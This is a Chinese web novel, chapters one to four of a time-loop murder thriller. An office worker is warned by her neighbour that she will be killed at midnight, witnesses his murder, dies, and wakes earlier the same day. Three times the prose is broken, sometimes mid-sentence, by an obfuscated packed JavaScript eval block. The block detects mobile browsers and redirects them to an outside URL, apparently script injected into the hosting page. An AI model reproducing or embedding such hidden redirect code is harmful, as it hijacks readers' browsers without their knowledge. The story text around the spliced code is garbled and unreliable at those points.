《被杀之前我遇到凶手了》 1. 第一章 今年的冬天来得特别早。 人们还没来得及换上厚厚的衣服，冷空气便在一夜之间降临到了这座城市。 辛琪就是在这种情况下感冒的。 她刚刚毕业三年，有幸加入一家互联网大厂，成为万千螺丝钉中的一颗。 辛琪平时工作繁忙，加班是家常便饭，为了不影响自己的工作状态，她早在一个星期前就去医院看了病抓了药，但不知是否因为最近天天加班，直到现在她这病也没好。 她感觉嗓子干干涩涩，像烟熏一样疼，还时不时的会咳嗽两声。反正明天是周六，她索性下午请了个假，准备回出租屋里好好休息一下。 辛琪在距离公司不远处的小区里租了个一居室。这个小区建成年代已久，环境马马虎虎，但交通便利，离高档写字楼近，因此价格也十分“美丽”。 好在辛琪这一行薪资也还算不错，她为了在早上让自己多睡一会，考虑再三后咬着牙付了租金。 辛琪的出租屋在十楼，她乘上因年代久远而嘎吱嘎吱响的电梯，不一会就到达了第十层。 或许因为今天是工作日，大多数人这个时候都在公司里，从进入小区开始，这一路上她都没碰上什么人。 此刻她出了电梯，走廊里更是无比安静，连一声鸟叫声都听不到。 辛琪的出租屋就在走廊尽头，她朝着自己房门走去，空荡荡的走廊里回荡着她“啪嗒”、“啪嗒”的脚步声。 一声又一声，缓慢却连绵不绝。 她在这里来来回回走了不知有多少次了，但极少在这个时间段走在走廊上。 辛琪看了一眼时间，正好是下午一点整。 或许是太过于安静了，现在明明是大白天，她心中却无端端地生出一些怯意。 她房门斜对面正好对着安全楼梯，那里的灯早就坏了，整个楼梯口看起来漆黑一片，要是有什么东西或者……人藏在里面，根本让人无从察觉。 辛琪紧盯着楼梯口的方向，慢慢朝自己的房门挪去。 经过楼梯口时，辛琪大着胆子往里面看了一眼，她只能隐隐约约看到一阶一阶的楼梯影子一上一下的正对着她，除此之外便什么也没有了。 没有任何异常，这里也没藏着什么奇怪的东西。 辛琪微微松了一口气，暗笑自己的多心。 这大白天的，又是在小区里，怎么可能有人藏在楼梯里呢？ 她觉得自己大概是因为生病了体力不支，才会如此疑神疑鬼。 心里的害怕减轻了许多，辛琪跨步走到自己房门前，在包里翻找了一阵后，掏出钥匙准备开房门。 然后她感觉到自己的肩膀陡然一沉。 ——有一只手抚上了她的肩膀。 “噼啪”一声，钥匙从辛琪手中滑落。 好不容易压下的害怕在这一刻达到顶点，辛琪克制住喉咙中快溢出的尖叫，猛然回过头去。 她看到一个年轻男子就站在自己的身后。 男子身材高大，体型清瘦，他的右手正搭在自己的肩膀上。 “你是谁？” 辛琪听到自己的声音在颤抖。 听到她开口了，男子的手竟慢慢放了下来。 他没有说话，只是站在原地紧盯着辛琪不放。 辛琪注意到男子神色仓皇，面色惨白，一张脸看上去比自己更加恐慌。 明明是这个男人来找自己的，他在害怕什么？ 辛琪脑中闪过这样的疑问，但她没有说话，只是把包抱在身前，警惕着男子的一举一动，同时思考着要是男子真的对自己不利，那她该如何逃脱。 一片寂静之中，男子开口了。 “我……我是住在你对面的人。” 对面？ 辛琪往对面看去，在楼梯口的旁边确实还有一道门，跟她的房门恰好是面对面的位置。 辛琪想起对面在两三个月前好像搬来了一个人，她出门的时候，也碰到过对面的房客。 她记得那是一个年轻男子，但是不是眼前这个人，辛琪不太确定。 每天的生活忙忙碌碌，她很少去关注自己的邻居。 因此辛琪并没有放松警惕，她小心的后退一步，想要拉开与男子的距离，但刚退了一步，她便感受背后传来坚硬的触感。 那是门。 这代表她已经退无可退了。 在这空无一人又没有监控的走廊里，要是男子对自己做些什么，自己根本逃脱不了。 辛琪不愿跟男子发生冲突，尽量把语气放得平缓些：“哦，你有什么事吗？” “我……”男子想要说些什么，但话到嘴边又吞了回去。 他眼中闪过纠结茫然的色彩，犹豫片刻后再次开口：“我接下来要说的话你可能不信，但是我保证、我发誓都是真的……请你一定一定要相信我！” “嗯，你说。” 辛琪开始怀疑这人是不是有什么精神方面的疾病了。 “现在是下午一点，你可能不信，但我想告诉你……”男子神色复杂地望了辛琪一眼，“你会在今晚十二点死去。” “……” “而我就是被警方认定的凶手。” “……” 辛琪好半天才找回自己的声音：“哦，你的意思是，你要杀了我？” “我没有！我没有杀你！”男子的情绪骤然激动起来，“但我也不知道为什么事情会变成那样！” “……你玩真心话大冒险输了是吧？”辛琪很真诚地看着男子。 男子面露绝望，口中喃喃说着：“我就知道你不会信……” “嗯嗯，我信我信。”辛琪道。 在男子眼中迸发出惊喜时，辛琪接着说：“我还知道我必须在一小时之内传达给下一个人，要不然我会在今晚十二点暴毙。” “你信我，这不是大冒险，也不是恶作剧，”男子突然往前一步，目光牢牢锁住辛琪，“就在今晚，凶手会来到你家然后杀了你！” 男子目光中带着满满的惊惶，就仿佛他曾经经历过这事，也曾经亲眼看到过辛琪被杀害的尸体。 辛琪被那眼神盯得有些害怕了。 走廊里突兀响起“咣当”一声，两人被那声音吸引过去，转头一看，是电梯门开了。 电梯里走出一个约莫五十岁的中年妇人。 辛琪记得她，她在这里住了许多年，辛琪下班回来时，偶尔会在电梯里碰见要去跳广场舞的她。 但这位妇人明明就住在走廊另一侧，她出电梯后却面色不愉地盯着二人，没有挪动步子。 辛琪明白过来，这是妇人看着事情有些不对劲了，想要帮忙。 有了第三个人在场，辛琪心中也安定了许多。 她抬眼望着男子：“你还有别的事吗？” 发现妇女朝自己这边看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642289|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，男子明显有些慌乱。 他先是对着辛琪摆摆手，然后又往后退了好几步：“没有，没有，我找你就只是想跟你说这个！” 看到男子这副模样，辛琪愈发肯定这人心中必定有鬼，她不欲与他再有过多纠缠，于是对着男子说：“谢谢你的提醒，我会小心不让自己……被杀的。” 说完，辛琪便站在原地不动，也不去开自己的家门，只一双眼睛死死地盯着男子。 男子愣怔片刻之后明白了辛琪的意思，他从口袋拿出钥匙开了自己的房门，才刚探进去半个身子，男子又想起了什么，转头对着辛琪开口：“虽然你可能到现在都不相信我，但你记住，如果有人来敲门，你千万千万不要开门！” 说完，男子也没等辛琪回应，便进了自己屋子，将门给关上了。 那站在走廊里的中年妇人这时才走近辛琪身旁：“小妹妹，你认识他吗？” 辛琪摇摇头：“不认识。” “没事，要是他再来找你，你就在门外大喊，我就住在这旁边，我听得见的，”中年妇人看起来是一副热心肠，“现在是法治社会了，大不了到时候我帮你报警，我不信他还敢做什么！” 辛琪对着妇人千恩万谢了一番，然后进了自己家门。 将房门关上，等到整个世界都变得安静起来时，辛琪这才感觉头脑昏昏沉沉，身体也满是疲倦。 生病了正是需要多休息的时候，饭已经在公司食堂吃过了，她直接回了房间，准备上床休息一会。 卧室的窗帘遮光效果很好，一将窗帘拉开，外面的光便一丝也透不进来，让房间看起来昏昏暗暗。 这样的环境很适合睡眠，辛琪躺在床上，闭着眼睛，却怎么也睡不着。 她脑子还在不断循环那年轻男子的话。 “你会在今晚十二点死去。” “而我就是被警方认定的凶手。” 心里明白这大概率是什么整人计划，但她心中也忍不住的泛起嘀咕。 这是真的吗？ 今天真的会有人来杀自己吗？ 这是一个无解的答案，因为没有人可以预知未来。 辛琪觉得自己过于杞人忧天了。 这说不定就是对面那个男子一时兴起的恶作剧，自己却因这些无厘头的话而翻来覆去的睡不着。 要是给对面那人知道了，说不定他还会得意于自己的整人计划成功了呢！ 辛琪将这几句话赶出脑外，努力的让自己进入睡眠中。 这一个星期常常加班到深夜，她本就没休息好，现在又生了病，她睡着睡着居然还真的成功进入了梦乡。 她这一觉睡得很熟，直到外面太阳都落山了，她才醒来。 辛琪一看时间，已经快到晚上八点了。 她伸个懒腰，起身走出房门，客厅里也是一片昏暗，唯一的光源就是窗外投射进来的一缕灯光。 辛琪摸索着墙边，正准备开灯，在昏暗中她听到了三声清脆的声音。 “嘭嘭嘭——” 她目光看向整个屋子的大门，那声音正是大门外传来的，而且辛琪很清楚，这绝对是敲门声。 辛琪脑子里再次响起那年轻男子的话。 “你会在今晚十二点死去。” “而我就是被警方认定的凶手。” “……” “如果有人来敲门，你千万千万不要开门！” 2. 第二章 “嘭嘭嘭——” “嘭嘭嘭——” “嘭嘭嘭——” “……” 敲门声还在持续不断的响着，折磨着辛琪的耳朵。 门外那人非常的锲而不舍，好像辛琪不开门，他就会一直敲下去。 辛琪站在客厅里没有挪动分毫，她紧盯着大门的方向，不敢去开门，甚至不敢打开客厅里的灯。 只有白天那男子的话音不断在她脑海里回响着。 难道真的被他说中了，今晚真的会有人来杀自己？ 门外现在站着的就是杀人凶手？ 那她现在该怎么办？ 辛琪屏息静气，想要装作没人在家，等门外的人自行离开，但门外的人却还在敲着门，丝毫没有离开的意思。 门外那人好像很想破门而入，敲门声在静悄悄的客厅中变得越来越急促，每一声都在刺激着辛琪的神经。 绝对不能轻易开门。 辛琪脑子浮现了这样的念头。 还好这小区每户大门上都安装了一个猫眼，她可以透过猫眼看一看外面的情况。 如果来的人有什么不对劲，她就立马报警。 将手机握在手中，辛琪一步步的靠近大门，但她没走几步，一阵欢快的铃声便突然响彻了整间屋子。 这声音十分响亮，听在辛琪耳中像是炸了雷。 辛琪租的一居室很小，门口距离她站的位置不过五六米，她敢打赌，站在她家门口那个人必然也将铃声听得清清楚楚。 因为辛琪发现，那响个不停的敲门声停止了。 这铃声正是辛琪手机的来电提示音，她赶紧按下了静音键。 铃声在一瞬间戛然而止，手机则还在显示来电中，电话那头的人并没有挂断。 来电显示是一串陌生的号码。 辛琪疑惑，这个时候有谁会给她打电话呢？ 犹豫了几息后，辛琪划下了绿色的接通键。 她将手机贴在耳朵上，但并没有先开口，只等着对方出声。 “呲呲”的电流声过后，电话里响起一个有些沙哑的男声。 “喂，您好，我是送外卖的，我已经到您家门口了……” 电话里的男声在说话的同时，辛琪听到自己家门外也有个男子发出了同样沙哑的声音。 …… 辛琪忘了，她中午从公司出来的时候，点了个晚上的预订单。 所以现在站在门外一直敲她家门的人其实是来给她送外卖的小哥。 小哥见迟迟没有人来开门，便打了一通电话到她的手机上。 她居然会因为几句莫名其妙的话战战兢兢成这样，辛琪自己都觉得自己有些好笑。 但她还是谨慎的没有选择开门：“我知道了，谢谢你，你放在门口就行。” 挂断电话后，门外传来窸窸窣窣的几声轻响，接着辛琪便听到有个脚步声远离了她的家门口。 看来外卖小哥已经离开了。 辛琪走到门口，先看了看猫眼，确认走廊里的确没人后，再将门把手按下。 但她刚一推开门便对上了一双黑白分明的瞳孔。 这双瞳孔一动不动的紧锁着辛琪，在走廊晦暗的灯光下看起来无比渗人。 辛琪认出这双瞳孔的主人正是下午那个拦住自己说胡话的男子。 男子将自己的家门开了一个小缝，他高大的身躯紧贴在门后，一双眼睛正透过缝隙看着辛琪。 辛琪跟他对视了一秒，便拿起了放在自己家门口的外卖。 她正要关门时，男子突然出声：“刚刚敲门的是谁？” 怎么？这人还想吓她吗？ 辛琪没好气地回了一句：“外卖。” 男子看了一眼走廊，那里一闪而过一个穿着黄色工作服的身影，他顿时松了一口气。 然而当他掏出手机看了一眼时间后，他脸上再次紧绷起来：“离十二点没几个小时了，你千万要小心！” 辛琪这次没再理他了，把外卖拿进屋里，然后关上了房门。 她将客厅的灯打开，把外卖放在桌上，又拿出手机来准备找个电子榨菜。 按亮手机屏幕时她发现自己的通讯软件上出现了几条新消息。 一条是19:11发出的，显示“请假审批已通过”，下面带有一条留言：“好好休息”，后面还跟了一个粉红爱心。 审批的是辛琪的顶头上司张帆，下面的留言也只可能来自张帆。 张帆已经四十多岁了，在辛琪的公司算是个中层管理，但他只会把活推给下属，每天最爱做的事就是到处溜达，找她们这些年轻女职员聊天。 讽刺的是，张帆的头像正是他和自己妻子女儿的合影。 辛琪看到那粉红爱心就直倒胃口，她翻了个白眼，关闭这条消息，看起了下一条。 下一条消息来自一个群组，群组的名字是“接老板明天暴毙”。 这个群组只有五六个人，是辛琪和几名关系好的同事组建的小群。 19:45分时，新来公司的小何在群里发出了一条消息。 【辛姐，周姐让我提醒你，你的感冒药忘在办公室了】 小何才来公司不久，这几个月一直是辛琪带的他。 这条消息过后，那被称为“周姐”的人也跟着发出了一条消息。 【哈哈哈，小何，你是不是发错地方了】 周姐是“接老板明天暴毙”群的群主，比辛琪大了十多岁，为人热情善良，辛琪进公司以后就跟她关系十分要好。 【不好意思，不好意思，我原本想私聊辛姐的，发错了】 这三条消息过后，群组便无人再说话。辛琪去翻了自己的包，发现药果然忘带回来了。 她原本想下去买药，但看到外面的天色已经完全黑了下来，便打消了这个念头。 今晚就挺一挺吧，明天白天再去。 她退出通讯软件，打开视频网站，继续寻找电子榨菜。 一打开视频网站，一个漂亮女人的头像便展示在了辛琪面前。 那是一张自拍照，照片上的女人对着镜头笑意盈盈，让她原本就精致的五官变得更加瑰丽，连辛琪都忍不住看了好几眼。 女人的头像下方写着这样一段话：女主播已失踪多日，警方正在全力追查。 辛琪好奇地点进这条视频，视频只草草地介绍了一下女主播的基本信息，重点内容却放在她曾经的跳舞直播切片上。 不过辛琪注意到女主播所住的小区就在她的城市里。 那小区离辛琪不远，周围还有一片风景良好的生态湖，她周末的时候曾和朋友一起去绕着湖骑车玩过。 视频内容仅有两分钟，辛琪往下翻了翻网友们的评论。 有人认出这位失踪的女子是隔壁直播网站一个几万粉的小主播，已经停播了好几个月；有人发着不堪入目的言论；还有人则猜测女主播失踪了那么多天都杳无音信，会不会已经被杀了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642290|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“被杀”两个字闯入辛琪眼帘时，她感觉自己背脊窜上了一阵寒意。 “你会在今晚十二点死去。” 男子的话冷不丁的再次闯入脑海中，她看了一眼屏幕上的时间，已经快到晚上九点，还有三个小时就是十二点了。 辛琪摆摆头，将这话抛出脑外，又退出了女主播失踪的视频，随便找了一个综艺开始边吃边看。 这部综艺拍得很有意思，是最近的大热门，辛琪看着看着竟入了迷，等她看完一集时，饭也凉了个彻底。 今天的饭里多出一根豆芽丝，辛琪将它挑出来后，三下五除二的赶紧刨完饭，一看时间已悄然来到了十一点。 离十二点只剩最后一个小时。 离男子所说的她被杀的时间也只剩最后一个小时。 她强迫自己忘掉那几句整人的话，点了综艺的下一集开始看，但她发现自己变得坐立不安起来，刚刚还觉得有趣的综艺是怎么也看不进去了。 辛琪于是关掉了综艺，让屋子里再次陷入安静。 她坐在客厅的沙发上，不自觉的凝神听着屋外的动静。 这个时候人们大多在屋子里休息了，门外的走廊上几乎传不进什么声音，辛琪偶尔只能从不怎么隔音的墙壁里听到电梯上下运行的嗡嗡声。 等到时间来到23:40时，辛琪终于听到了不一样的声音。 那是来自她对面的非常刺耳的“吱呀”一声。 辛琪知道这个声音，这是每家每户屋子大门被打开时发出的动静，由于对面的房门离她很近，所以辛琪在客厅里也能听得清清楚楚。 她坐在原地等了片刻，没听到关门声。 也就是说对面那年轻男子将房门打开了，却并不急着关门，他或许就跟刚刚一样站在门缝后，只从门缝里露出一双眼睛。 现在离十二点只剩二十分钟，那个男子究竟想干什么呢？ 是在等他口中的凶手……还是在等机会杀了自己？ 辛琪记得他白天还说过一句话。 “而我就是被警方认定的凶手。” 在辛琪看来这句话是最奇怪的，如果男子真的想要杀了自己，那他完全没必要提前告知自己。 没有哪个凶手会好心地提醒被害人小心被杀。 但辛琪没法去问男子，她只能坐在客厅里随时留意着外面的动静。 “吱呀”声过去后，门外再次变得安静起来，辛琪捕捉不到更多声音了。 不，她发现其实有一阵极轻的声音从门外传来，“哒”、“哒”、“哒”的一声接着一声，极其缓慢而又富有规律。 只是这声音实在太小，若不仔细留意，便很容易被人忽视。 起先辛琪并没有认出那是什么声音，直到“哒”、“哒”声越来越响，辛琪才反应过来，那好像是脚步声。 只是这“哒”、“哒”声跟平时走路的声音又有所不同，它更加冗长，更加沉重。 辛琪立时明白过来，这是有人在楼梯上行走。 这里是十楼，在有电梯的情况下，有谁会专门走楼梯上来呢？ 答案是心怀不轨的人。 在“哒”、“哒”声响到最大，就在辛琪门外响起时，辛琪注意到它突然停止了。 楼梯口就在辛琪屋子的斜对面。 那个从楼梯上来的人，也许现在正站在楼梯口紧盯着辛琪的大门。 辛琪低头看了一眼时间，现在是23:45，离她被杀的时间只剩15分钟。 3. 第三章 辛琪这下连呼吸都屏住了。 她将所有注意力放到门外，试图捕捉到更多的声音，捕捉到那从楼梯走上来的人的动向。 但是辛琪所能感知到的一切唯有寂静。 死一般的寂静，好像整个世界只剩了辛琪一个人。 她无法自拔的开始想象，那个人是不是已经离开楼梯口，将凶器藏在怀里，正一步一步的朝着她家门口走来。 已经接近晚上十二点了，这个时候敲门容易吵醒邻居，辛琪想那人也许会选择撬锁，然后进入屋子里将她杀死。 辛琪告诫自己很多次不要多心，所谓的十二点被杀也只是对面年轻男子的一面之词。 她就是一个普通人，普普通通的生活在这座城市里，没有做过坏事，也没有得罪过人。 怎么可能有人上门将她杀死呢？ 但偏偏在接近十二点的时候，有个人鬼鬼祟祟的从楼梯来到了她居住的第十层，这巧合到不可思议的事件无法不让她多心。 辛琪想起了住在对面的那个男子。 是他预言了晚上会有人来杀自己，23:40分时，他还将自家的房门打开了，辛琪至今也没听到关门声。 他既然“预知”到了这件事，那他会采取什么行动呢？ 辛琪抱着一丝不切实际的希望想着。 他特意将门打开了，是想帮助自己还是…… “咚——” 辛琪的思绪被一声巨响给打断了。 很难形容这到底是一种什么声音，辛琪觉得有点像是有人用力打开了大门，大门猛地撞在了墙上；又有点像是什么重物轰然倒地。 但她很确定的是，她的房门外发生什么变故了。 巨响过后便是一阵更为嘈杂且毫无规律的声音。 有衣料互相摩擦的声音，有利器划上墙壁的声音，还有人类喉咙里挤压出的闷哼声…… 最终这一切的声音都在一个极为明显的“噗嗤”声后归于平静。 这一阵声音来得很快，快到辛琪来不及反应便静止了。 门外到底发生什么了？是对面那个年轻男子和那人打起来了吗？ 那他们俩到底谁赢了？ 那声“噗嗤”又代表着什么？ “咚——” 片刻的寂静之后，第二声巨响传来。 这回辛琪听得很清楚，那是有什么东西倒在了她的门上。 这一声巨响唤醒了辛琪僵硬的身体，她不能坐以待毙，但在采取行动之前，她必须搞清楚外面发生了什么。 托现代科技的福，躲在屋子里的辛琪还是很安全的，那人就算真的想要杀她，一时半刻也进不来里面。 但辛琪还是从厨房拿了一把刀在手上，然后悄无声息地走到了自家门口。 她闭上一只眼睛，然后将另一只眼睛放到了猫眼上。 哪怕辛琪早已做好心理准备，她也许会从猫眼里看到一幅很可怕的画面，但当她真正将自己的一只眼睛对准猫眼时，她还是吓得差点尖叫出声。 她对上了一只黑白分明的瞳孔。 这只瞳孔比常人的大了无数倍，像是有人刻意将自己的眼睛放在了猫眼上。 但辛琪知道这只瞳孔的主人不可能做到这样的事，因为那只瞳孔是涣散的，只有死人的瞳孔才会呈现这种状态。 辛琪在几个小时前曾看到过这只瞳孔，它属于对面那个年轻男子。 年轻男子死了。 他的尸体正趴在辛琪的门上，正脸恰好对着大门，于是那只瞳孔便贴在了猫眼上。 结合刚刚听到的声音来看，他应该是被人杀死的。 辛琪的身躯不由自主地颤抖起来。 到这一刻她才相信年轻男子所说的话都是真的，真的会有人在午夜十二点杀了自己。 虽然现在被杀的是年轻男子。 但他都死了，下一个被杀的人是不是就是自己了？ …… 赶快报警！ 辛琪在恐惧中勉强找回了一丝理智，理智回笼的那一刻，她便想到了报警。 这是目前她保证自己生命安全最好的方法。 还好手机一直被她握在手里。 辛琪按亮了屏幕，时间显示23:59，离她被杀的时间只剩最后一分钟，她想要拔出报警电话，然后她听到自己门上再次传来了奇异的声响。 “呲——呲——” 又尖细又绵长，那是什么东西在门口上滑动发出的动静。 辛琪透过猫眼看到，那年轻男子的瞳孔动了。 整只瞳孔在慢慢往下滑，直到消失不见，接着辛琪看到了男子的眉毛、额头、头发…… 她想这或许是尸体受到了重力的影响，正在慢慢落到地上。 等到猫眼里再也看不见男子的尸体后，辛琪终于看到了站在走廊里的那个人。 那明显是一个男人的身影。 他全身裹着厚厚的羽绒服，脸上也被遮挡的严严实实，只剩一双眼睛留在外面。 不过最显眼的是他右手那把刀子，刀子上沾满了红色的血液，血液顺着刀尖在一点一点往下滴落。 毫无疑问的，从楼梯走上十楼的人正是他，杀了年轻男子的正是他……即将杀掉自己的也是他！ 辛琪用尽了全身的力气才没让自己尖叫出声来。 冷静！冷静！ 辛琪深呼吸了几口气，强迫自己冷静。 她还有一道门可以保护自己，只要在这个时候报警，那么她就还有救，凶手知道警察来了说不定也会知难而退…… 辛琪正这样想着时，一直盯着猫眼注意凶手动向的她全身陡然僵硬起来。 走廊的灯灰暗昏黄，照明效果并不太强，但这并不妨碍辛琪看清凶手的一举一动。 凶手站在原地没有动，他和辛琪之间隔着一具尸体和一道门。 但辛琪发现凶手正在看着自己。 他那双眼睛正透过猫眼在跟自己对视，还轻微的弯了一下，像是在对着辛琪笑。 这明明是不可能的事，但辛琪产生了无比强烈的预感。 ——凶手知道她此刻就躲在门后透过猫眼窥视着外面的一切。 他发现自己了。 辛琪很想逃开，很想拔打报警号码，但她发现自己的胸口处传来了一阵剧痛，这种痛像是被人狠狠捅了一刀，让她呼吸变得急促，就连全身也没有力气再动弹。 她下意识摸了一下自己的胸口，摸到了一片湿热，有浓厚的血腥味从胸口处传来。 是血液。 剧痛不是她的错觉，她的胸口确实豁开了一个口子，生命正随着血液不断潺潺流逝着。 辛琪有些无法理解当下的情况，凶手明明就在外面，这屋子里只有她一个人，这莫名其妙的伤口到底是从哪儿来的？ 然而现在辛琪已经力气思考了，血液的流失和伤口的疼痛使她脑子里一阵阵发晕，视线也逐渐变得空白。 她终于支撑不住，身体软软倒在地上。 手机跟着身体一同摔在了地上，屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642291|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕上的时钟悄然从59变成了0，时间来到了十二点。 辛琪眼前的世界变得模糊不清，她觉得自己好像死了。 * 辛琪睁开了双眼。 她发现自己躺在卧室的床上，厚厚的窗帘遮住了窗户，只有几缕阳光从窗帘缝隙中钻了进来，使得整间卧室看起来昏沉晦暗。 现在是白天。 也许是这一觉睡得太久了，辛琪觉得头脑有些发晕，她按亮了手机看到时间显示14:00。 她想起自己最近感冒了，然后从公司请假回来，直接躺在床上睡了一觉。 她到家的时候已经过了一点，现在才两点，她这一觉睡了还不到一个小时。 辛琪平时的睡眠很好，她有些奇怪自己居然这么快就醒了。 但这种疑问并没有持续多久，辛琪在床上翻了个身打算再睡一会。 一秒、两秒…… 辛琪在床上猛然撑起了身！ 被隐藏的记忆在一瞬间回笼，恐惧、惊恐、疑问……种种情绪统统涌进了她的身体。 她下意识地摸住了胸口，那里仿佛还在向她传递着尖锐的疼痛。 辛琪什么都想起来了。 她想起了年轻男子奇奇怪怪的话语；想起了有人从楼梯走到她家门口；想起了那具瞪大双眼的尸体；想起了自己不断流血的胸口…… 她不太确定，但她记得自己好像已经死了，但现在……她仔细摸了摸自己胸口的位置，心脏的确在强而有力地跳动着。 辛琪再次看了一下手机，现在的时间是下午两点没错。 这是怎么回事？难道是自己根本没死，又睡了一觉睡到了下午两点？ 辛琪觉得这不太可能，就算她没死，现在也应该在医院而不是自己家里吧。 她脑中满是想不通的疑问，眼神无意识地放到了还亮着的手机屏幕上。 然后她瞳孔猛的一缩。 手机上的时间和日期通常会挨在同一个地方，辛琪看到14:00的时钟下显示着今天是星期五。 她第一反应是手机显示错误，然后点开搜索引擎，点开各大网站，但这些地方无一例外地告诉她现在就是星期五。 星期五，下午两点。 她回到了自己被死前的十个小时？ 辛琪还是无法接受如此荒诞的事发生在自己身上，她现在开始怀疑，晚上发生的一切可能只是这短短睡眠的一场梦了。 可那恐惧与疼痛又如此真实，哪怕到了现在，她也感觉自己全身在不停地战栗。 好在她还有一个确认的方式，那位住在她对面的年轻男子。 他曾经对自己说过，自己会在十二点被杀，这是不是意味着……他知道些什么？ 当然这也有可能只是发生在辛琪梦中的场景，但辛琪觉得自己很有必要去确认一下。 辛琪掀开被子下了床，连拖鞋都没来得及穿就直奔到了门口。 想起曾在猫眼中见过的尸体，辛琪做了好一番心理准备，才按下门把手将门缓缓推开。 幸运的是，她眼前并没有出现什么血腥的场景，地上也并没有年轻男子的尸体。 她只看见自己对面的门几乎跟她同一时间开启了。 年轻男子站在门后，神色惊疑不定的跟她对视着。 辛琪刚看一眼年轻男子的表情，心中便咯噔了一下。 一些不好的预感在她心中弥散开来。 她听到年轻男子对着自己开口：“你是不是全都想起来了？” 4. 第四章 辛琪被邀请进了年轻男子的家里。 当然为了安全起见，辛琪跟随男子进入他家后，阻止了男子关上大门，还站在了离门口稍近的位置。 辛琪粗粗打量了一下这间房屋。房屋和她的一居室差不多的户型，装修得也简简单单，只有墙面上那一柜子的手办模型格外引人注目。 里面大多数的人物辛琪都不认识，但从造型来看，价格应该是辛琪这种社畜望尘莫及的。 “我叫秦屿，”年轻男子做了自我介绍，“刚刚大学毕业，准备在这附近找工作，但暂时还没收到offer。” 最近就业环境确实不怎么好，应届生找工作的难度可比辛琪刚毕业的时候大多了，这个叫秦屿的大学生至今没收到offer也不是什么稀罕事。 但没收到offer还能在这里租下一居室甚至买下这一满柜的手办……辛琪想，这个小子的家境应该相当不错。 辛琪也做了个简短的自我介绍：“辛琪，在这附近上班。” 她这番介绍相当于只透露了一个姓名，可以说是相当谨慎了，但秦屿毫不在意，还开口问她：“你都记得些什么？” 记忆再一次回笼，所有负面情绪又一次涌上身体，辛琪不由的微皱起眉头。 “我记得昨天……”她说到这里停顿了一下，因为她不知道那能不能称之为昨天，但辛琪想没人会在意这种细节，她便继续说了下去。 “你对我说我会在十二点被杀，然后快到十二点时，有个人从楼梯来到了我家门口，接着……”她抬眼看了一下秦屿，“你被杀死了。” 人的基因里写着对死亡的本能恐惧，辛琪听到自己会被杀时也心神不宁了好久，但她发现眼前这个男子脸上却大松了一口气，好像对自己的死亡完全不在意。 “太好了，”他说，“终于有人跟我一样了！” “这是我……”辛琪看到他掰起指头在数着什么，“第四次经历这一天了！” 辛琪心中一惊：“第四次？” 她隐隐约约猜到秦屿跟自己有同样的经历，但她没想到，秦屿经历的比她想象中还要复杂的多。 秦屿点点头，开始为辛琪讲起了自己这四次所发生的一切。 他记忆中的第一次，是由一阵敲门声开启的。 当时已经晚上十一点多，快接近十二点了，他正在客厅里打游戏，突然听到对面传来了一阵不急不缓的敲门声。 秦屿记得住在对面的好像是一个单身女子，这么晚还有人来敲门似乎有点不太正常。 他便稍稍分神注意了一下对面的动静。 那一阵敲门声过后便响起了开门声，对面有人在模模糊糊的说话，不过很快就关上了门。 听起来并没有什么异常。 是外卖或者是熟人吧？ 秦屿放下了心，不再理会，将所有精力都放到了眼前的游戏上。 再次引起秦屿注意的是一声巨响，像是什么重物倒地了。 秦屿不愿多想，也许就是人家的桌子椅子不小心被碰倒了，或者是别的什么动静。 但他发觉自己的心中开始变得不安，以前看过的许多社会新闻不断在脑子里重播，秦屿连游戏都打不下去了。 他打定了主意，要去看一看对面到底发生什么事了。 如果是误会一场那当然是最好的，如果真的是什么凶杀案……他去帮个忙也算是功德一件。 秦屿从厨房拿了把刀，小心翼翼的将自己的家门推开。 他尽量放慢了动作，但这年代已久的门在被推开时还是不免的发出了一些尖利的声音。 声音回荡在寂静无声的走廊里，让人听了便会起一身鸡皮疙瘩。 秦屿借着走廊的灯光，看了下对面，他发现对面的房门并没有关死，留下了一个小小的缝。 门缝里一点声音也没有，似乎并没有人在家里。 这有点不太寻常。 就算对面那个单身女子出门了，她也不太可能不关紧房门。 秦屿咽了一口因紧张而分泌的唾液，右手持着刀，一步一步的朝着对面走去。 只需要两步就能走到的距离，秦屿却觉得自己每一步都走得无比漫长。 他终于到达了那个没有关死的房门前。 秦屿没有急着推门而入，而是先从门缝处往里探了探。 屋子里并没有开灯，唯有走廊一片暗黄的灯光照射进去，点亮了一片光洁的地砖。 秦屿什么都看不到。 “请问……有人在吗？”他哑着嗓子对里面喊了一声。 回应他的只有走廊偶尔传来的穿堂风声。 这风除了带来“哗哗”的呼啸声之外，还带来了一丝血腥味，让秦屿脑子里再次忍不住闪过曾看过的一条条社会新闻。 他握紧了手中的刀刃，深吸一口气将门缓缓推开了。 